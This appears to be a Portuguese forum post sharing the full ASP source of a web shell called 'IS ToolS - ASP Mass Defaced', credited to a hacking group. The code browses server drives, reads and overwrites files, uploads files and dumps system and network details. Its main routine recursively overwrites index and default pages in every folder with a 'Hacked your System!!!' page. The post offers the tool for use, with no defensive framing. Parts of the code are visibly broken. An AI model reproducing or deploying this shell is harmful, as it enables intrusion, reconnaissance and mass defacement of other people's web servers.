Esta ferramenta foi encontra em um site bugado.
Estou compartilhando o achado.
Estou compartilhando o achado.
Código:
<% On Error Resume Next Set Objeto=Server.CreateObject("Scripting.FileSystemObject") If request("path") <> "" then Set ObjPasta = Objeto.GetFolder(request("path")) Else if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) Else Set ObjPasta = Objeto.GetFolder(server.mappath(".")) end if End If If Trim(Request.QueryString("path")) = "" Then caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) pos = Instr(caminho,"\") pos2 = 1 While pos2 <> 0 If Instr(pos + 1,caminho,"\") <> 0 Then pos = Instr(pos + 1,caminho,"\") Else pos2 = 0 End If Wend path = Left(caminho,pos) Else path = trim(Request.QueryString("path")) & "\" End If pagename = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) Function functionfooter response.write "<br><hr><font face='Fixedsys'><p align='center'><font color='#FF0000'> / </font>" response.write "<a href='javascript:history.go(-1)'>" response.write "<font color='#000080'> Voltar </a></font><font color='#FF0000'> / </font>" response.write "<a href='" & pagename & "'>" response.write "<font color='#000080'> Home </a></font>" response.write "<font color='#FF0000'> / </font>" response.write "<hr><font color='#000080' size='1'><br> I S 2007 | RitualistaS GrouP Priv8 | by Mental_Way</font></b></font></p>" End Function %> <html> <head> <title>IS ToolS - ASP Mass Defaced - By Mental_Way</title> <style> body{ scrollbar-arrow-color: #BFBFBF; scrollbar-3dlight-color: #FFFFFF; scrollbar-highlight-color: #9F9F9F; scrollbar-face-color: #FFFFFF; scrollbar-shadow-color: #C0C0C0; scrollbar-darkshadow-color: #FFFFFF; scrollbar-track-color: #C0C0C0;} </style> </head> <body bgcolor="#E4E4E4" text="#808080" leftMargin="0" topMargin="0"> <center> <p><font color="#000080" size="4">I S Tools - ASP Mass Defaced<br> RitualistaS GrouP Priv8<br> </font><font color="#000080">By Mental_Way</font></p> <hr> <p><font face="Fixedsys" color="#000080"> <a href="<%=pagename%>" style="text-decoration: none"> <font color="#000080">Home</font></a></font><font face="Fixedsys" color="#FF0000"> / </font><font face="Fixedsys" color="#000080"> <a href="<%=pagename%>?status=1" style="text-decoration: none"> <font color="#000080">Mass Deface</font></a></font><font face="Fixedsys" color="#FF0000"> / </font><font face="Fixedsys" color="#000080"> <a href="<%=pagename%>?status=2" style="text-decoration: none"> <font color="#000080">System Info</font></a></font></u><font face="Fixedsys" color="#000080"> </font><font face="Fixedsys" color="#FF0000">/ </font> <a href="<%=pagename%>?status=3" style="text-decoration: none"> <font face="Fixedsys" color="#000080">Upload</font></u></span><font face="Fixedsys" color="#000080"> </font></a><font face="Fixedsys" color="#FF0000">/ </font> <a href="<%=pagename%>?status=4" style="text-decoration: none"> <font face="Fixedsys" color="#000080">Spammer</font></u></span><font face="Fixedsys" color="#000080"> </font></a><font face="Fixedsys" color="#FF0000">/ </font> <a style="text-decoration: none" href="<%=pagename%>?status=6"> <font face="Fixedsys" color="#000080">Database</font></u></span><font face="Fixedsys" color="#000080"> </font></a><font face="Fixedsys" color="#FF0000">/ </font> <a href="<%=pagename%>?status=5" style="text-decoration: none"> <font face="Fixedsys" color="#000080">Info/Contact</font></a></p> </center><font face="Fixedsys" color="#000000"><hr></font><center><% r_status = Request.QueryString("status") SELECT CASE r_status CASE "1" 'Mass Deface %> <b><font color="#000080" face="Tahoma">MASS DEFACED<br> </font></b><form method="POST" action="<%=pagename%>?status=f1"> <font face="Tahoma"> <font color="#000080">Voce está em<font size="2">:</font></font></font></font><font color="#FF0000" face="Tahoma" size="2"> <%=server.mappath(pagename)%></font><font color="#000000" face="Tahoma" size="2"> <br> <br> </font><font color="#000080" face="Tahoma">Caminho: </font> <font face="Tahoma"> <input type="text" name="T3" size="44" style="font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666" value="<%=server.mappath("\")%>"> <br> </font> <b><font size="2" face="Tahoma"><br> </font></b><font face="Tahoma"><b> <textarea rows="15" name="T4" cols="120" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #C0C0C0"><title> [ RitualistaS GrouP ] <title> <p align="center"><b><font color="#ff0000" face="Courier New" size="6"> [ RitualistaS GrouP ]<br> </font></b></p> <p align="center"><b><font face="Courier New" size="4" color="#808080"> Hacked your System!!!</font></b></p> <p align="center"><b><font face="Courier New" size="4" color="#808080"> The world isn't insurance!!!<br> <br> For a better world</font></b></p> <p align="center"></p> <p align="center"></p> <p align="center"></p> <p align="center"><b><font face="Courier New" size="4" color="#808080"> Cast. AcidMuD - DarkSpyrit - Mental_Way</font></b></p> <p align="center"></p></textarea> </b> <br> <br> <b><font color="#000080">Personalização de páginas:</font></b><br> <br> Page 1: </font> <input type="text" name="P1" size="18" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666"><font face="Tahoma"> Page 2: </font> <input type="text" name="P2" size="18" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666"><p> <font face="Tahoma"> <br> </font> <input type="submit" value="Mass Defaced" name="B1" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0"><font face="Tahoma"> <br> <br> OBS* Caso não seja preenchida a personalização de páginas, o a tools usará como padrão as seguintes pages:<br> index.html, index.htm, index.asp, defaul.html, default.htm, default.asp.</font></p> </form> <% Response.Write FunctionFooter CASE "2" 'Informções do sistema Dim arrListaComponentes(47) arrListaComponentes(0) = Array( "AB Mailer","ABMailer.Mailman" ) arrListaComponentes(1) = Array( "ABC Upload","ABCUpload4.XForm" ) arrListaComponentes(2) = Array( "ActiveFile","ActiveFile.Post" ) arrListaComponentes(3) = Array( "ActiveX Data Object","ADODB.Connection" ) arrListaComponentes(4) = Array( "Adiscon SimpleMail","ADISCON.SimpleMail.1" ) arrListaComponentes(5) = Array( "ASP DNS", "AspDNS.Lookup" ) arrListaComponentes(6) = Array( "ASP HTTP","AspHTTP.Conn" ) arrListaComponentes(7) = Array( "ASP Image","AspImage.Image" ) arrListaComponentes(8) = Array( "ASP Mail","SMTPsvg.Mailer" ) arrListaComponentes(9) = Array( "ASP NNTP News", "AspNNTP.Conn" ) arrListaComponentes(10) = Array( "ASP POP 3", "POP3svg.Mailer" ) arrListaComponentes(11) = Array( "ASP Simple Upload","ASPSimpleUpload.Upload" ) arrListaComponentes(12) = Array( "ASP Smart Cache","aspSmartCache.SmartCache" ) arrListaComponentes(13) = Array( "ASP Smart Mail","aspSmartMail.SmartMail" ) arrListaComponentes(14) = Array( "ASP Smart Upload","aspSmartUpload.SmartUpload" ) arrListaComponentes(15) = Array( "ASP Tear","SOFTWING.ASPtear" ) arrListaComponentes(16) = Array( "ASP Thumbnailer","ASPThumbnailer.Thumbnail" ) arrListaComponentes(17) = Array( "ASP WhoIs","WhoIs2.WhoIs" ) arrListaComponentes(18) = Array( "ASPSoft NT Object","ASPSoft.NT" ) arrListaComponentes(19) = Array( "ASPSoft Upload","ASPSoft.Upload" ) arrListaComponentes(20) = Array( "CDO NTS","CDONTS.NewMail" ) arrListaComponentes(21) = Array( "Chestysoft Image","csImageFile.Manage" ) arrListaComponentes(22) = Array( "Chestysoft Upload","csASPUpload.Process" ) arrListaComponentes(23) = Array( "Dimac JMail","JMail.Message" ) arrListaComponentes(24) = Array( "Distinct SMTP","DistinctServerSmtp.SmtpCtrl" ) arrListaComponentes(25) = Array( "Dundas Mailer","Dundas.Mailer" ) arrListaComponentes(26) = Array( "Dundas Upload","Dundas.Upload.2" ) arrListaComponentes(27) = Array( "Dundas PieChartServer", "Dundas.ChartServer.2") arrListaComponentes(28) = Array( "Dundas 2D Chart", "Dundas.ChartServer2D.1") arrListaComponentes(29) = Array( "Dundas 3D Chart", "Dundas.ChartServer") arrListaComponentes(30) = Array( "Dynu Encrypt","Dynu.Encrypt" ) arrListaComponentes(31) = Array( "Dynu HTTP","Dynu.HTTP" ) arrListaComponentes(32) = Array( "Dynu Mail","Dynu.Email" ) arrListaComponentes(33) = Array( "Dynu Upload","Dynu.Upload" ) arrListaComponentes(34) = Array( "Dynu WhoIs","Dynu.Whois" ) arrListaComponentes(35) = Array( "Easy Mail","EasyMail.SMTP.5" ) arrListaComponentes(36) = Array( "File System Object","Scripting.FileSystemObject" ) arrListaComponentes(37) = Array( "Ticluse Teknologi HTTP","InteliSource.Online" ) arrListaComponentes(38) = Array( "Last Mod","LastMod.FileObj" ) arrListaComponentes(39) = Array( "Microsoft XML Engine","Microsoft.XMLDOM" ) arrListaComponentes(40) = Array( "Persits ASP JPEG","Persits.Jpeg" ) arrListaComponentes(41) = Array( "Persits ASPEmail","Persits.MailSender" ) arrListaComponentes(42) = Array( "Persits ASPEncrypt","Persits.CryptoManager" ) arrListaComponentes(43) = Array( "Persits File Upload","Persits.Upload.1" ) arrListaComponentes(44) = Array( "SMTP Mailer","SmtpMail.SmtpMail.1" ) arrListaComponentes(45) = Array( "Soft Artisans File Upload","SoftArtisans.FileUp" ) arrListaComponentes(46) = Array( "Image Size", "ImgSize.Check" ) arrListaComponentes(47) = Array( "Microsoft XML HTTP", "Microsoft.XMLHTTP" ) Response.Write "<b></font><font color='#000080'><p align='center'><br>INFORMAÇÕES DOS COMPONENTES<br><b></font>" Response.Write "<br>Testando atualmente " & UBound(arrListaComponentes) + 1 & " componentes. <br> O processo pode demorar ...<br></font><br><p align='left'>" ' Rotina que verifica o componente do array é um objeto. Function VerificaObjeto(pComponente) Dim objComponente On Error Resume Next VerificaObjeto = False Err.Clear Set objComponente = Server.CreateObject(pComponente) If Err = 0 Then VerificaObjeto = True Set objComponente = Nothing Err.Clear End Function Public Function VerificaComponentes() Dim intCont, strTxt Dim intIndex, strProv intCont = 0 strTxt = "<table border='1' bordercolor='black' cellspacing='0' cellpadding='0' align='center' width='400'>" For intIndex = LBound(arrListaComponentes) To UBound(arrListaComponentes) strProv = intIndex strTxt = strTxt & "<tr><td width='200'><font face='tahoma' size='3'>:: " & arrListaComponentes(intIndex)(0) & "</font></td>" If VerificaObjeto(arrListaComponentes(intIndex)(1)) Then strTxt = strTxt & "<td align=center><font color='red' face='tahoma' size='3'>< Instalado ></font></td>" intCont = intCont + 1 Else strTxt = strTxt & "<td align='center'><font face='tahoma' size='3'>Não Instalado</font></td>" End If strTxt = strTxt & "</tr>" Next strTxt = strTxt & "</table><br><p align='center'><font face='tahoma' size='3'><b> Somente " & intCont & "</b> componentes instalados de " strTxt = strTxt & "<b>" & UBound(arrListaComponentes) + 1 & "</b> testados.</font> </p>" VerificaComponentes = strTxt End Function Response.Write VerificaComponentes Response.Write "<b><font color='#000080'>INFORMAÇÕES DO SISTEMA<br></font>" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Set WshNetwork = Server.CreateObject("WScript.Network") Set WshShell = Server.CreateObject("WScript.Shell") Set WshEnv = WshShell.Environment("SYSTEM") Response.Write "<br><font size='3'<p align='left'>" Response.Write "IDENTIFICAÇÃO DE REDE:<br>" Response.Write "Usuário: " & WshNetwork.UserName & "<br>" Response.Write "Nome do Computador: " & WshNetwork.ComputerName & "<br>" Response.Write "Usuário do Domínio: " & WshNetwork.UserDomain & "<br>" Set Drives = WshNetwork.EnumNetworkDrives For i = 0 to Drives.Count - 1 Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & "<br>" Next Response.Write "<br>FÍSICO:<br>" Response.Write "Arquitetura do Processador: " & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>" Response.Write "Número de Processadores: " & WshEnv("NUMBER_OF_PROCESSORS") & "<br>" Response.Write "Identificador do Processador: " & WshEnv("PROCESSOR_IDENTIFIER") & "<br>" Response.Write "Nível do Processador: " & WshEnv("PROCESSOR_LEVEL") & "<br>" Response.Write "Revisão do Processador: " & WshEnv("PROCESSOR_REVISION") & "<br>" Response.Write "<b>LÓGICO:</b><br>" Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & "<br>" Response.Write "Sistema Operacional: " & WshEnv("OS") & "<br>" Response.Write "Servidor Web: " & request.servervariables("SERVER_SOFTWARE") & "<br>" Response.Write "Especificação do Command: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>" Response.Write "Caminhos no Path: " & WshEnv("PATH") & "<br>" Response.Write "Executáveis: " & WshEnv("PATHEXT") & "<br>" Response.Write "Prompt: " & WshEnv("PROMPT") & "<br>" Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>" Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>" Response.Write "Caminho do System32: " & WshShell.CurrentDirectory & "<br></font></table>" Set Drives = Nothing Set WshNetwork = Nothing Set WshShell = Nothing Set WshEnv = Nothing Response.Write "<b></font><font color='#000080'><br><br><p align='center'><br><br>OUTRAS INFORMAÇÕES<br><b></font>" Response.Write "<textarea rows='19' name='inf1' cols='167' style='font-family: Tahoma; font-size: 8pt; color: #666666; border: 1px solid #808080; background-color: #C0C0C0'>" for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue %> <font face="Tahoma"> <br> <% next %> </textarea></font></p><font face="Tahoma"><br> <% Response.Write FunctionFooter CASE "3" 'Uploader %> </font> <form method="POST" enctype="multipart/form-data" action="<%=pagename%>?status=f2"> <font face="Tahoma"> <b><font color="#000080">Upload de arquivos:</font><br> <br> </b> </font> <input type="FILE" size="40" name="FILE1" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0"><font face="Tahoma"><br> <br> <font color="#FF0000">Obs: O tamanho máximo permitido para o envio de arquivos é 30 mb.</font><br> <br> </font> <input type="submit" value="Uploader!!!" name="upload" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0; float:right"><font face="Tahoma"><br> </font></form> <% Response.Write FunctionFooter CASE "4" 'Spammer Response.Write "Local do Spammer" CASE "5" 'Info Response.Write "Aqui abrirá o Informações adicionais" CASE "6" 'Form Procurar MDB Case "f6" 'Função Procura MDBS caminho=request("T5") On Error Resume Next Set MonRep = ObjFSO.GetFolder(caminho) Set ColFolders = MonRep.SubFolders for each folderItem in ColFolders folderItem.path caminho= folderItem.path & "\" next CASE "f1" 'Função Mass deface Set ObjFSO = CreateObject("Scripting.FileSystemObject") patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) arquivomassdfc = patharquivotxt & "teste.txt" Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False) vetordelinhas = Split(Request.Form("T4"),VbCrLf) For i = 0 To UBound(vetordelinhas) Arquivotxt.WriteLine(vetordelinhas(i)) Next Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc) caminho=request("T3") Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo) Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo) On Error Resume Next Set MonRep = ObjFSO.GetFolder(caminhodomass) Set ColFolders = MonRep.SubFolders for each folderItem in ColFolders destino1 = folderItem.path & "\index.htm" destino2 = folderItem.path & "\index.html" destino3 = folderItem.path & "\index.asp" destino4 = folderItem.path & "\index.cfm" destino5 = folderItem.path & "\index.php" destino6 = folderItem.path & "\default.htm" destino7 = folderItem.path & "\default.html" destino8 = folderItem.path & "\default.asp" destino9 = folderItem.path & "\default.cfm" destino10 = folderItem.path & "\default.php" If request("P1") <> "" then personal1 = request("P1") destino11 = folderItem.path & "\" & personal1 MeuArquivo.Copy(destino11) End If If request("P2") <> "" then personal2 = request("P2") destino12 = folderItem.path & "\" & personal2 MeuArquivo.Copy(destino12) End If MeuArquivo.Copy(destino1) MeuArquivo.Copy(destino2) MeuArquivo.Copy(destino3) MeuArquivo.Copy(destino4) MeuArquivo.Copy(destino5) MeuArquivo.Copy(destino6) MeuArquivo.Copy(destino7) MeuArquivo.Copy(destino8) MeuArquivo.Copy(destino9) MeuArquivo.Copy(destino10) Response.Write "<table><tr><td><font face='Tahoma' size='2'>" & folderItem.path & "</td><br>" If Err.Number = 0 Then Response.Write "<td valign='baseline'><b><font face='Tahoma' size='2' color='blue'>DeFaCeD!!!</font><b></td></tr>" Else Response.Write "<td valign='baseline'><font face='Tahoma' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr></table>" End If Err.Number = 0 Response.Flush If metodo = "brute" Then Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo) End If next End Sub Response.Write FunctionFooter CASE "f2" 'Funcao uploader Set Upload = Server.CreateObject("Persits.Upload") ' Limita o tamanho do arquivo para 30000 bytes (3Mb) de tamanho e gera uma mensagem de erro se o arquivo for maior Upload.SetMaxSize 30000000, True ' Pula todas as mensagens de erro de servidor para a mensagem de erro personalizada On Error Resume Next ' Local a ser gravado o upload Upload.Save "E:\novosite\" ' 8 é o número do erro que corresponde a "Arquivo grande demais" if Err.Number = 8 Then Response.Write "Seu arquivo é grande demais. Por favor use um arquivo menor." Else If Err <> 0 Then Response.Write "Um erro foi encontrado: " & Err.Description Else Response.Write "Upload realizado com sucesso!" End If End If CASE "f3" ' Mostrar pagina %> <form method="POST" enctype="multipart/form-data" action="<%=pagename%>?status=f4&path=<%=request("path")%>"> <p align="center"><b><font face="Tahoma" color="#000080">VISUALIZAÇÃO DE ARQUIVOS</font><font face="Tahoma" size="2" color="#000000"><br> </font></b><font color="#000080" face="Tahoma">Voce esta em:</font><font face="Tahoma" color="#FF0000"> <%=request("path")%> </font><b><font face="Tahoma" size="2" color="#000000"> </font></b><font face="Tahoma"><b><font size="2"><% On Error Resume Next if request("path") <> "" then var_caminho=request("path") set ObjFso2=server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False) If ObjFso2=FileExists(var_caminho) = true then Do While Not ObjAbreArq2.AtEndOfStream Linha = Linha & ObjAbreArq2.Readline & chr(13) Loop Response.Write "<input type=hidden name=status value='11'>" Response.Write "<textarea name=text rows=15 cols=120 style='font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #C0C0C0'>" Response.Write server.HTMLEncode(linha) Response.Write "</textarea>" Response.Write "<br><input type=submit value=Salvar!!! style=font-family:Tahoma;font-size:8pt;color:#000000;border:1px solid #000080;background-color:#C0C0C0;float:center><br></form><center>" Response.Write FunctionFooter Else Response.Write "<br> Caminho indicado inexistente... Por favor tente novamente" Response.Write FunctionFooter End If End IF %> <script LANGUAGE="JavaScript"> function file() { var ForAppending = 8; var TriStateFalse = 0; var fso = new ActiveXObject("Scripting.FileSystemObject"); var newFile = fso.OpenTextFile("D:\asus\pw.txt", ForWriting, true, TriStateFalse); } </script> </font></b></font></p> </form> <% Case "f4" 'Salvar texto caminho=request("path") set saveTextFile = objFSO.OpenTextFile(caminho,2,true,false) Set f = fso.CreateTextFile(path) saveTextFile.Write Request.Form("text") saveTextFile.close if err<>0 then byMsg = "<font color=red>Arquivo não editado!</font><br>" else byMsg = "<font color=yellow>Arquivo editado com sucesso:)</font><br>" end if Response.Write byMsg Response.Write FunctionFooter CASE default 'RESTO %> <font color="#000080"> <form method="POST" action="<%=pagename%>"> <% dir=request("path") If dir<>"" then Response.Write "<p align=center>Voce esta em: </font><font color=#FF0000>" & dir Else Response.Write "<p align=center>Voce esta em: </font><font color=#FF0000>" & server.mappath(pagename) end if dir=nothing %> <p align="center"><font size="2" color="#000080" face="Tahoma">Caminho: <b> <input type="text" size="44" name="T5" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666" value="<% dir=request("path") If dir<>"" then Response.Write dir Else dual=Request("T5") Response.Write dual end if %>"> </b></font> <input type="submit" value="| GO |" name="B13" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0"><font face="Tahoma"> <br></font></form> </p> <div align="center"> <p><font face="Tahoma"><% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %> <% On Error Resume Next back1="#D3E2E7" back2="#AFFEDE" back=back2 Response.Write "<font color='#000080'>Discos Disponiveis:</font><br>" FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF Response.Write "<u>|<a href=" & pagename & "?path=" & d.driveletter & ":\ style='text-decoration: none'> " Response.write d.driveletter Response.Write ": </a>|</u>" next%> </font> </p> <p></p> <div align="center"> <div align="center"> <table border="1" cellpadding="0" cellspacing="0" width="90%" height="20" bgcolor="#C0C0C0" style="border-style:solid; border-width:1; border-collapse: collapse"> <tr> <td width="27%" height="15" bgcolor="#808080"> <p align="center"><font size="2" color="#FFFFFF" face="Tahoma">Pastas</font></p> </td> <td width="73%" height="15" bgcolor="#808080"> <p align="center"><font face="Tahoma" color="#FFFFFF">Arquivos</font></p> </td> </tr> <tr> <td valign="top" width="27%" bgcolor="#C0C0C0" height="1"> <font color="#000000" face="Tahoma" size="2"> <% If CInt(Len(path) - 1) <> 2 Then barrapos = CInt(InstrRev(Left(path,Len(path) - 1),"\")) - 1 backlevel = Left(path,barrapos) Response.Write "<font face='tahoma' color='#000080' size=2 ><p align=left>::-:|_| : <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?path=" & backlevel & "'>. . .</a></font></b><br>" End If On Error Resume Next Old = ObjPasta News = strReverse(old) News = instr(News, "/") Leng = Len(old) - News Old = Left(Old, Leng) q = 1 syco contador contador=1 For each Pasta in ObjPasta.Subfolders PastaName=Pasta.Name q = q + 1 Response.Write "<font face='tahoma' color='#000080' size=2 ><p align=left>::-:|" & Contador & "| : <a href='" & pagename & "?path=" & Old & "\" & PastaName & "' style=text-decoration: none>" & PastaName & "</a></p></font>" Contador=contador+1 Next q = q - 1 %> <br> <br> </font></td> <td valign="top" width="73%" bgcolor="#C0C0C0" height="1"><% On Error Resume Next syco contador Old = ObjPasta contador=1 For Each Arquivo in ObjPasta.Files ArquivoNome=Arquivo.Name Response.Write "<font face='tahoma' color='#000080' size=2>::-:|" & Contador & "| : <a href='" & pagename & "?status=f3&path=" & Old & "\" & ArquivoNome & "' style=text-decoration: none>"& ArquivoNome & "</a></p></font>" contador=contador+1 next %><font face="Tahoma"> </font> </td> </td> </tr> </table> </div> </div> </td> </tr> </table> </div> </div> </form> <font face="Tahoma"> <br> </font> </font><font face="Tahoma"><%=Functionfooter%><% END SELECT %></font></body></html>
Comment